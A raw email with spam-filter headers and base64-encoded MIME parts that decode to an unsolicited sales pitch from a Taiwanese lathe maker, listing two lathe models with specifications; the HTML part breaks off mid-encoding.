X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.18 X-Barracuda-Spam-Status: No, SCORE=2.18 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_96_XX, DATE_IN_PAST_96_XX_2, HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144790 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_96_XX Date: is 96 hours or more before Received: date 0.00 HTML_MESSAGE BODY: HTML included in message 2.07 DATE_IN_PAST_96_XX_2 DATE_IN_PAST_96_XX_2 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS This is a multi-part message in MIME format --=====XGG_hRrG7_xApZBtVT18J9O3bj7vuanvsW_===== Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 RGVhciBTaXI6DQogDQpHcmVldGluZw0KIA0KSXQgaXMgb3VyIHBsZWFzdXJlIHRvIGhhdmUgY29u dGFjdCB3aXRoIHlvdQ0KQ29udmVudGlvbmFsIGxhdGhlIFRhaXdhbiBhcmUgb25lIG9mIHRoZSBt b3N0IHByb2Zlc3Npb25hbCBjb252ZW50aW9uYWwgbGF0aGUgbWFudWZhY3R1cmUgZnJvbSBUYWl3 YW4gd2hvIGZvY3VzIG9uIHRoZSBzbWFsbCB0byBtZWRpdW0gc2l6ZSBvZiBjb252ZW50aW9uYWwg bGF0aGU7IE91ciBQcm9kdWN0cyBpcyB3ZWxsIGtub3duIGluIFRhaXdhbiBhcyB3ZWxsIGFzIGlu IHRoZSB3b3JsZA0KTm93IHdlIGFyZSBsb29raW5nIGZvciBnbG9iYWwgY29vcGVyYXRpb24gDQpX ZSBob3BlIHdlIGNhbiBjcmVhdGUgYSB3aW4td2luIHNpdHVhdGlvbiBmb3IgYm90aCBzaWRlcyBp biB0aGUgbmVhciBmdXR1cmUgdmlhIG91ciBjb29wZXJhdGlvbg0KIA0KVGhlIGZvbGxvd2luZyBp cyBvdXIgYnJpZWYgcHJvZHVjdCBpbnRyb2R1Y3Rpb24ganVzdCBmb3IgeW91ciByZWZlcmVuY2UN CiANCkE6IFNpbXBsZSBQcm9kdWN0IGxpbmUNCk9ubHkgMiB0eXBlcyBvZiBvdXIgbWFjaGluZXM6 IA0KMS4gICAgICBIaWdoIFNwZWVkIFByZWNpc2lvbiBMYXRoZSANCjIuICAgICAgSW52ZXJ0ZXIg VHJhbnNtaXNzaW9uIExhdGhlDQpBZHZhbnRhZ2U6DQoxLiAgICAgIEhpZ2ggcXVhbGl0eQ0KMi4g ICAgICBTaG9ydCBkZWxpdmVyeQ0KMy4gICAgICBGYXN0IFBhcnRzIHN1cHBseSANCjQuICAgICAg Q29tcGV0aXRpdmUgcHJpY2UNCiANCkI6IFByb2R1Y3RzIFNwZWNpZmljYXRpb25zDQpJOiBIaWdo IFNwZWVkIFByZWNpc2lvbiBMYXRoZSANClN3aW5nIG92ZXIgYmVkOiA0MzB+NzYwIG1tDQpEaXN0 YW5jZSBiZXR3ZWVuIGNlbnRlcnM6IDU2MCBtbX4gNDMwMCBtbQ0KU3BpbmRsZSBib3JlOiBBLS0t NTgvIDgwKG9wKSBtbTsgQi0tLTg1IG1tOyBYLS0tODUvMTIwKG9wKSBtbQ0KQmVkIHdpZHRoOiBB LS0tMzAwIG1tOyBCLS0tMzUwIG1tOyBYLS0tNDAwIG1tDQogDQpJSTogVHJhbnNtaXNzaW9uIElu dmVydGVyIExhdGhlDQpTd2luZyBvdmVyIGJlZDogNDMwfjUyMCBtbQ0KRGlzdGFuY2UgYmV0d2Vl biBjZW50ZXJzOiA1NjAgbW1+IDIwMDAgbW0NClNwaW5kbGUgYm9yZTogNTh+ODAgbW0NCkJlZCB3 aWR0aDogMzAwIG1tDQogDQpDOiBQcm9kdWN0IEFkdmFudGFnZTogDQoxLiAgICAgIEZBRyBvciBT S0YgcHJlY2lzaW9uIGJlYXJpbmcgaW5zdGFsbGVkIG9uIHNwaW5kbGUNCjIuICAgICAgTWF4aW11 bSBjdXR0aW5nIGRlcHRoOiA4IG1tKCA1MCBtbSBkaWFtZXRlcikNCjMuICAgICAgQmVzdCBSb3Vu ZG5lc3M6IDMgbWljcm9uKCAyMDAgbW0gbG9uZykNCjQuICAgICAgRXF1aXBwZWQgd2l0aCBhIHBs YXN0aWMgcmVhciAsIHNoYWZ0cyBhbmQgZ2VhcnMgaW5zaWRlIGhlYWQgc3RvY2sgYXJlIHdlbGwg cHJvdGVjdGVkIGlmIGNydXNoIG9jY3VycmVkKCBBIHNlcmllcykNCjUuICAgICAgVW5pdmVyc2Fs IGdlYXIgYm94IGZvciBib3RoIGltcGVyaWFsIGFuZCBtZXRyaWMgdGhyZWFkIGNvbnZlcnNpb24g dGFibGUgYWxzbyBhdHRhY2hlZA0KNi4gICAgICBUcmFja3Mgb2YgY3Jvc3Mgc2xpZGUgYW5kIGJl ZCBhcmUgd2VsbCBsdWJyaWNhdGVkIHdpdGggbHVicmljYXRpb24gcHVtcCggbWFudWFsKQ0KNy4g ICAgICBPdmVybG9hZCBkZXZpY2UgdG8gZW5zdXJlIHNhZmV0eSB3aGVuIG9wZXJhdGluZw0KOC4g ICAgICBXZWFyIHJlc2lzdGFudCBwaG9zcGhvciBicm9uemUgbGVhZCBzY3JldyBudXQNCjkuICAg ICAgRHVyYWJsZSByZXNlcnZvaXIgb2lsIGJhdGggdHlwZSBjcm9zcyggcyBzZXJpZXMpDQoxMC4g VGhlcm1hbCB0cmVhdGVkIE1FRUhBTklURSBiZWQgY2FzdGluZw0KMTEuIE9uZS1waWVjZSBiYXNl IGZvciBoaWdoIHJpZ2lkaXR5IGFuZCBsb3cgdmlicmF0aW9uDQoxMi4gSGlnaCBjYXBhY2l0eSBj b29sYW50IHRhbmsgb2ZmZXJzIHN1ZmZpY2llbnQgY29vbGFudCBvdXRwdXQNCjEzLiBBbGwgc2Vy aWVzIGNlcnRpZmllZCBmb3IgQ0UgDQogDQogDQpPZiBjb3Vyc2UsIGFzIGxvbmcgYXMgeW91IGhh dmUgYW55IGtpbmQgb2YgbGF0aGUgaW5xdWlyaWVzLCB3ZSBkZWZpbml0ZWx5IGNhbiBmdWxmaWxs IHlvdXIgbmVlZHMuDQogDQpXZSBkbyBiZWxpZXZlIG91ciBwcm9kdWN0cyBjYW4gZml0IHlvdXIg bmljaGUgbWFya2V0IGFuZCBjcmVhdGUgYSBwcm9zcGVyb3VzIHZpc2lvbiBmb3IgYWxsIG9mIHVz DQpTaG91bGQgeW91IG5lZWQgb3VyIHNlcnZpY2UsIHBsZWFzZSBmZWVsIGZyZWUgdG8gY29udGFj dCB1cw0KIA0KU2luY2VyZWx5IFlvdXJzLCBXZSByZW1haW4NCiANCkFteSBDaGVuDQogDQpTYWxl cyBNYW5hZ2VyIA0KQ29udmVudGlvbmFsIGxhdGhlIFRhaXdhbg0KIA0KIA0KIA0KU3Vic2NyaWJl IFRoaXMgTWFpbCBVblN1YnNjcmliZSBUaGlzIE1haWwgDQo= --=====XGG_hRrG7_xApZBtVT18J9O3bj7vuanvsW_===== Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PEhUTUwgeG1sbnM6byA9ICJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2Ui PjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiBodHRwLWVx dWl2PUNvbnRlbnQtVHlwZT4NCjxNRVRBIG5hbWU9R0VORVJBVE9SIGNvbnRlbnQ9Ik1TSFRNTCA4 LjAwLjYwMDEuMjM1MDEiPjwvSEVBRD4NCjxCT0RZIHNjcm9sbD15ZXM+DQo8UCBzdHlsZT0iTUFS R0lOOiAwY20gMGNtIDBwdCIgY2xhc3M9TXNvTm9ybWFsPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZB TUlMWTogQ2FsaWJyaTsgQ09MT1I6IGJsYWNrOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJy aSIgbGFuZz1FTi1VUz5EZWFyIFNpcjo8L1NQQU4+PC9CPjwvUD4NCjxQIHN0eWxlPSJNQVJHSU46 IDBjbSAwY20gMHB0IiBjbGFzcz1Nc29Ob3JtYWw+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZ OiBDYWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpIiBs YW5nPUVOLVVTPjxvOnA+PC9vOnA+PC9TUEFOPjwvQj4mbmJzcDs8L1A+DQo8UCBzdHlsZT0iTUFS R0lOOiAwY20gMGNtIDBwdCIgY2xhc3M9TXNvTm9ybWFsPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZB TUlMWTogQ2FsaWJyaTsgQ09MT1I6IGJsYWNrOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJy aSIgbGFuZz1FTi1VUz5HcmVldGluZzwvU1BBTj48L0I+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjog MGNtIDBjbSAwcHQiIGNsYXNzPU1zb05vcm1hbD48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6 IENhbGlicmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmkiIGxh bmc9RU4tVVM+PG86cD48L286cD48L1NQQU4+PC9CPiZuYnNwOzwvUD4NCjxQIHN0eWxlPSJNQVJH SU46IDBjbSAwY20gMHB0IiBjbGFzcz1Nc29Ob3JtYWw+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFN SUxZOiBDYWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJp IiBsYW5nPUVOLVVTPkl0IGlzIG91ciBwbGVhc3VyZSB0byBoYXZlIGNvbnRhY3Qgd2l0aCB5b3U8 bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQi IGNsYXNzPU1zb05vcm1hbD48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7IENP TE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmkiIGxhbmc9RU4tVVM+Q29u dmVudGlvbmFsIGxhdGhlIFRhaXdhbiBhcmUgb25lIG9mIHRoZSBtb3N0IHByb2Zlc3Npb25hbCBj b252ZW50aW9uYWwgbGF0aGUgbWFudWZhY3R1cmUgZnJvbSBUYWl3YW4gd2hvIGZvY3VzIG9uIHRo ZSBzbWFsbCB0byBtZWRpdW0gc2l6ZSBvZiBjb252ZW50aW9uYWwgbGF0aGU7IE91ciBQcm9kdWN0 cyBpcyB3ZWxsIGtub3duIGluIFRhaXdhbiBhcyB3ZWxsIGFzIGluIHRoZSB3b3JsZDxvOnA+PC9v OnA+PC9TUEFOPjwvQj48L1A+DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCIgY2xhc3M9 TXNvTm9ybWFsPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQ2FsaWJyaTsgQ09MT1I6IGJs YWNrOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2FsaWJyaSIgbGFuZz1FTi1VUz5Ob3cgd2UgYXJl IGxvb2tpbmcgZm9yIGdsb2JhbCBjb29wZXJhdGlvbiA8bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9Q Pg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQiIGNsYXNzPU1zb05vcm1hbD48Qj48U1BB TiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9u dC1mYW1pbHk6IENhbGlicmkiIGxhbmc9RU4tVVM+V2UgaG9wZSB3ZSBjYW4gY3JlYXRlIGEgd2lu LXdpbiBzaXR1YXRpb24gZm9yIGJvdGggc2lkZXMgaW4gdGhlIG5lYXIgZnV0dXJlIHZpYSBvdXIg Y29vcGVyYXRpb248bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjog MGNtIDBjbSAwcHQiIGNsYXNzPU1zb05vcm1hbD48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6 IENhbGlicmk7IENPTE9SOiBibGFjazsgbXNvLWJpZGktZm9udC1mYW1pbHk6IENhbGlicmkiIGxh bmc9RU4tVVM+PG86cD4mbmJzcDs8L286cD48L1NQQU4+PC9CPjwvUD4NCjxQIHN0eWxlPSJNQVJH SU46IDBjbSAwY20gMHB0IiBjbGFzcz1Nc29Ob3JtYWw+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFN SUxZOiBDYWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJp IiBsYW5nPUVOLVVTPlRoZSBmb2xsb3dpbmcgaXMgb3VyIGJyaWVmIHByb2R1Y3QgaW50cm9kdWN0 aW9uIGp1c3QgZm9yIHlvdXIgcmVmZXJlbmNlPG86cD48L286cD48L1NQQU4+PC9CPjwvUD4NCjxQ IHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IiBjbGFzcz1Nc29Ob3JtYWw+PEI+PFNQQU4gc3R5 bGU9IkZPTlQtRkFNSUxZOiBDYWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFt aWx5OiBDYWxpYnJpIiBsYW5nPUVOLVVTPjxvOnA+Jm5ic3A7PC9vOnA+PC9TUEFOPjwvQj48L1A+ DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9y cGhhbiIgY2xhc3M9TXNvTm9ybWFsPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQXJpYWw7 IEJBQ0tHUk9VTkQ6IHllbGxvdzsgbXNvLWhpZ2hsaWdodDogeWVsbG93OyBtc28tZmFyZWFzdC1m b250LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+ QTogU2ltcGxlIFByb2R1Y3QgbGluZTwvU1BBTj48L0I+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFN SUxZOiBBcmlhbDsgbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IOe0sOaYjumrlDsgbXNvLWZvbnQt a2VybmluZzogMHB0IiBsYW5nPUVOLVVTPjxvOnA+PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8UCBz dHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhhbiIg Y2xhc3M9TXNvTm9ybWFsPjxCPjxVPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQXJpYWw7IENP TE9SOiByZWQ7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7IG1zby1mb250LWtl cm5pbmc6IDBwdCIgbGFuZz1FTi1VUz5Pbmx5IDIgdHlwZXMgb2Ygb3VyIG1hY2hpbmVzOiA8bzpw PjwvbzpwPjwvU1BBTj48L1U+PC9CPjwvUD4NCjxQIHN0eWxlPSJURVhULUlOREVOVDogLTE4cHQ7 IE1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhhbjsg bXNvLWxpc3Q6IGwyIGxldmVsMSBsZm8zIiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gc3R5bGU9IkZP TlQtRkFNSUxZOiBBcmlhbDsgbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IEFyaWFsOyBtc28tZm9u dC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+PFNQQU4gc3R5bGU9Im1zby1saXN0OiBJZ25vcmUi PjEuPFNQQU4gc3R5bGU9IkZPTlQ6IDdwdCAnVGltZXMgTmV3IFJvbWFuJyI+Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvU1BBTj48L1NQQU4+PC9TUEFOPjxTUEFOIHN0eWxlPSJGT05U LUZBTUlMWTogQXJpYWw7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7IG1zby1m b250LWtlcm5pbmc6IDBwdCIgbGFuZz1FTi1VUz5IaWdoIFNwZWVkIFByZWNpc2lvbiBMYXRoZSA8 bzpwPjwvbzpwPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iVEVYVC1JTkRFTlQ6IC0xOHB0OyBNQVJH SU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYWdpbmF0aW9uOiB3aWRvdy1vcnBoYW47IG1zby1s aXN0OiBsMiBsZXZlbDEgbGZvMyIgY2xhc3M9TXNvTm9ybWFsPjxTUEFOIHN0eWxlPSJGT05ULUZB TUlMWTogQXJpYWw7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBBcmlhbDsgbXNvLWZvbnQta2Vy bmluZzogMHB0IiBsYW5nPUVOLVVTPjxTUEFOIHN0eWxlPSJtc28tbGlzdDogSWdub3JlIj4yLjxT UEFOIHN0eWxlPSJGT05UOiA3cHQgJ1RpbWVzIE5ldyBSb21hbiciPiZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyA8L1NQQU4+PC9TUEFOPjwvU1BBTj48U1BBTiBzdHlsZT0iRk9OVC1GQU1J TFk6IEFyaWFsOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1r ZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+SW52ZXJ0ZXIgVHJhbnNtaXNzaW9uIExhdGhlPG86cD48 L286cD48L1NQQU4+PC9QPg0KPFAgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQ7IG1zby1wYWdp bmF0aW9uOiB3aWRvdy1vcnBoYW4iIGNsYXNzPU1zb05vcm1hbD48Qj48U1BBTiBzdHlsZT0iRk9O VC1GQU1JTFk6IEFyaWFsOyBCQUNLR1JPVU5EOiB5ZWxsb3c7IENPTE9SOiBibGFjazsgbXNvLWhp Z2hsaWdodDogeWVsbG93OyBtc28tZmFyZWFzdC1mb250LWZhbWlseTog57Sw5piO6auUOyBtc28t Zm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+QWR2YW50YWdlOjwvU1BBTj48L0I+PEI+PFNQ QU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBBcmlhbDsgQ09MT1I6IGJsYWNrOyBtc28tZmFyZWFzdC1m b250LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+ PG86cD48L286cD48L1NQQU4+PC9CPjwvUD4NCjxQIHN0eWxlPSJURVhULUlOREVOVDogLTE4cHQ7 IE1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhhbjsg bXNvLWxpc3Q6IGwxIGxldmVsMSBsZm8yIiBjbGFzcz1Nc29Ob3JtYWw+PEI+PFNQQU4gc3R5bGU9 IkZPTlQtRkFNSUxZOiBBcmlhbDsgQ09MT1I6IHJlZDsgbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6 IEFyaWFsOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+PFNQQU4gc3R5bGU9Im1z by1saXN0OiBJZ25vcmUiPjEuPFNQQU4gc3R5bGU9IkZPTlQ6IDdwdCAnVGltZXMgTmV3IFJvbWFu JyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvU1BBTj48L1NQQU4+PC9TUEFOPjwv Qj48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IEFyaWFsOyBDT0xPUjogcmVkOyBtc28tZmFy ZWFzdC1mb250LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9 RU4tVVM+SGlnaCBxdWFsaXR5PG86cD48L286cD48L1NQQU4+PC9CPjwvUD4NCjxQIHN0eWxlPSJU RVhULUlOREVOVDogLTE4cHQ7IE1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhZ2luYXRp b246IHdpZG93LW9ycGhhbjsgbXNvLWxpc3Q6IGwxIGxldmVsMSBsZm8yIiBjbGFzcz1Nc29Ob3Jt YWw+PEI+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBBcmlhbDsgQ09MT1I6IHJlZDsgbXNvLWZh cmVhc3QtZm9udC1mYW1pbHk6IEFyaWFsOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4t VVM+PFNQQU4gc3R5bGU9Im1zby1saXN0OiBJZ25vcmUiPjIuPFNQQU4gc3R5bGU9IkZPTlQ6IDdw dCAnVGltZXMgTmV3IFJvbWFuJyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvU1BB Tj48L1NQQU4+PC9TUEFOPjwvQj48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IEFyaWFsOyBD T0xPUjogcmVkOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1r ZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+U2hvcnQgZGVsaXZlcnk8bzpwPjwvbzpwPjwvU1BBTj48 L0I+PC9QPg0KPFAgc3R5bGU9IlRFWFQtSU5ERU5UOiAtMThwdDsgTUFSR0lOOiAwY20gMGNtIDBw dCAxOHB0OyBtc28tcGFnaW5hdGlvbjogd2lkb3ctb3JwaGFuOyBtc28tbGlzdDogbDEgbGV2ZWwx IGxmbzIiIGNsYXNzPU1zb05vcm1hbD48Qj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IEFyaWFs OyBDT0xPUjogcmVkOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTogQXJpYWw7IG1zby1mb250LWtl cm5pbmc6IDBwdCIgbGFuZz1FTi1VUz48U1BBTiBzdHlsZT0ibXNvLWxpc3Q6IElnbm9yZSI+My48 U1BBTiBzdHlsZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcgUm9tYW4nIj4mbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsgPC9TUEFOPjwvU1BBTj48L1NQQU4+PC9CPjxCPjxTUEFOIHN0eWxlPSJG T05ULUZBTUlMWTogQXJpYWw7IENPTE9SOiByZWQ7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiDn tLDmmI7pq5Q7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1FTi1VUz5GYXN0IFBhcnRzIHN1 cHBseSA8bzpwPjwvbzpwPjwvU1BBTj48L0I+PC9QPg0KPFAgc3R5bGU9IlRFWFQtSU5ERU5UOiAt MThwdDsgTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFnaW5hdGlvbjogd2lkb3ctb3Jw aGFuOyBtc28tbGlzdDogbDEgbGV2ZWwxIGxmbzIiIGNsYXNzPU1zb05vcm1hbD48Qj48U1BBTiBz dHlsZT0iRk9OVC1GQU1JTFk6IEFyaWFsOyBDT0xPUjogcmVkOyBtc28tZmFyZWFzdC1mb250LWZh bWlseTogQXJpYWw7IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1FTi1VUz48U1BBTiBzdHls ZT0ibXNvLWxpc3Q6IElnbm9yZSI+NC48U1BBTiBzdHlsZT0iRk9OVDogN3B0ICdUaW1lcyBOZXcg Um9tYW4nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgPC9TUEFOPjwvU1BBTj48L1NQ QU4+PC9CPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQXJpYWw7IENPTE9SOiByZWQ7IG1z by1mYXJlYXN0LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7IG1zby1mb250LWtlcm5pbmc6IDBwdCIg bGFuZz1FTi1VUz5Db21wZXRpdGl2ZSBwcmljZTxvOnA+PC9vOnA+PC9TUEFOPjwvQj48L1A+DQo8 UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhh biIgY2xhc3M9TXNvTm9ybWFsPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQXJpYWw7IENP TE9SOiBibGFjazsgbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IOe0sOaYjumrlDsgbXNvLWZvbnQt a2VybmluZzogMHB0IiBsYW5nPUVOLVVTPjxvOnA+Jm5ic3A7PC9vOnA+PC9TUEFOPjwvQj48L1A+ DQo8UCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9y cGhhbiIgY2xhc3M9TXNvTm9ybWFsPjxCPjxTUEFOIHN0eWxlPSJGT05ULUZBTUlMWTogQXJpYWw7 IEJBQ0tHUk9VTkQ6IHllbGxvdzsgQ09MT1I6IGJsYWNrOyBtc28taGlnaGxpZ2h0OiB5ZWxsb3c7 IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7IG1zby1mb250LWtlcm5pbmc6IDBw dCIgbGFuZz1FTi1VUz5COiBQcm9kdWN0cyBTcGVjaWZpY2F0aW9uczwvU1BBTj48L0I+PEI+PFNQ QU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBBcmlhbDsgQ09MT1I6IGJsYWNrOyBtc28tZmFyZWFzdC1m b250LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+ PG86cD48L286cD48L1NQQU4+PC9CPjwvUD4NCjxQIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0 OyBtc28tcGFnaW5hdGlvbjogd2lkb3ctb3JwaGFuIiBjbGFzcz1Nc29Ob3JtYWw+PEI+PFNQQU4g c3R5bGU9IkZPTlQtRkFNSUxZOiBDYWxpYnJpOyBDT0xPUjogYmxhY2s7IG1zby1iaWRpLWZvbnQt ZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTog57Sw5piO6auUOyBtc28t Zm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+STo8L1NQQU4+PC9CPjxCPjxTUEFOIHN0eWxl PSJGT05ULUZBTUlMWTogQXJpYWw7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiDntLDmmI7pq5Q7 IG1zby1mb250LWtlcm5pbmc6IDBwdCIgbGFuZz1FTi1VUz4gSGlnaCBTcGVlZCBQcmVjaXNpb24g TGF0aGUgPG86cD48L286cD48L1NQQU4+PC9CPjwvUD4NCjxQIHN0eWxlPSJNQVJHSU46IDBjbSAw Y20gMHB0OyBtc28tcGFnaW5hdGlvbjogd2lkb3ctb3JwaGFuIiBjbGFzcz1Nc29Ob3JtYWw+PEEg bmFtZT1PTEVfTElOSzI+PC9BPjxBIG5hbWU9T0xFX0xJTksxPjxTUEFOIHN0eWxlPSJtc28tYm9v a21hcms6IE9MRV9MSU5LMiI+PFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiBDYWxpYnJpOyBDT0xP UjogYmxhY2s7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFyZWFzdC1mb250 LWZhbWlseTog57Sw5piO6auUOyBtc28tZm9udC1rZXJuaW5nOiAwcHQiIGxhbmc9RU4tVVM+U3dp bmcgb3ZlciBiZWQ6IDQzMH43NjAgbW08bzpwPjwvbzpwPjwvU1BBTj48L1NQQU4+PC9BPjwvUD4N CjxQIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0OyBtc28tcGFnaW5hdGlvbjogd2lkb3ctb3Jw aGFuIiBjbGFzcz1Nc29Ob3JtYWw+PFNQQU4gc3R5bGU9Im1zby1ib29rbWFyazogT0xFX0xJTksx Ij48U1BBTiBzdHlsZT0ibXNvLWJvb2ttYXJrOiBPTEVfTElOSzIiPjxTUEFOIHN0eWxlPSJGT05U LUZBTUlMWTogQ2FsaWJyaTsgQ09MT1I6IGJsYWNrOyBtc28tYmlkaS1mb250LWZhbWlseTogQ2Fs aWJyaTsgbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IOe0sOaYjumrlDsgbXNvLWZvbnQta2Vybmlu ZzogMHB0IiBsYW5nPUVOLVVTPkRpc3RhbmNlIGJldHdlZW4gY2VudGVyczogNTYwIG1tfiA0MzAw IG1tPG86cD48L286cD48L1NQQU4+PC9TUEFOPjwvU1BBTj48L1A+DQo8UCBzdHlsZT0iTUFSR0lO OiAwY20gMGNtIDBwdDsgbXNvLXBhZ2luYXRpb246IHdpZG93LW9ycGhhbiIgY2xhc3M9TXNvTm9y bWFsPjxTUEFOIHN0eWxlPSJtc28tYm9va21hcms6IE9MRV9MSU5LMSI+PFNQQU4gc3R5bGU9Im1z by1ib29rbWFyazogT0xFX0xJTksyIj48U1BBTiBzdHlsZT0iRk9OVC1GQU1JTFk6IENhbGlicmk7 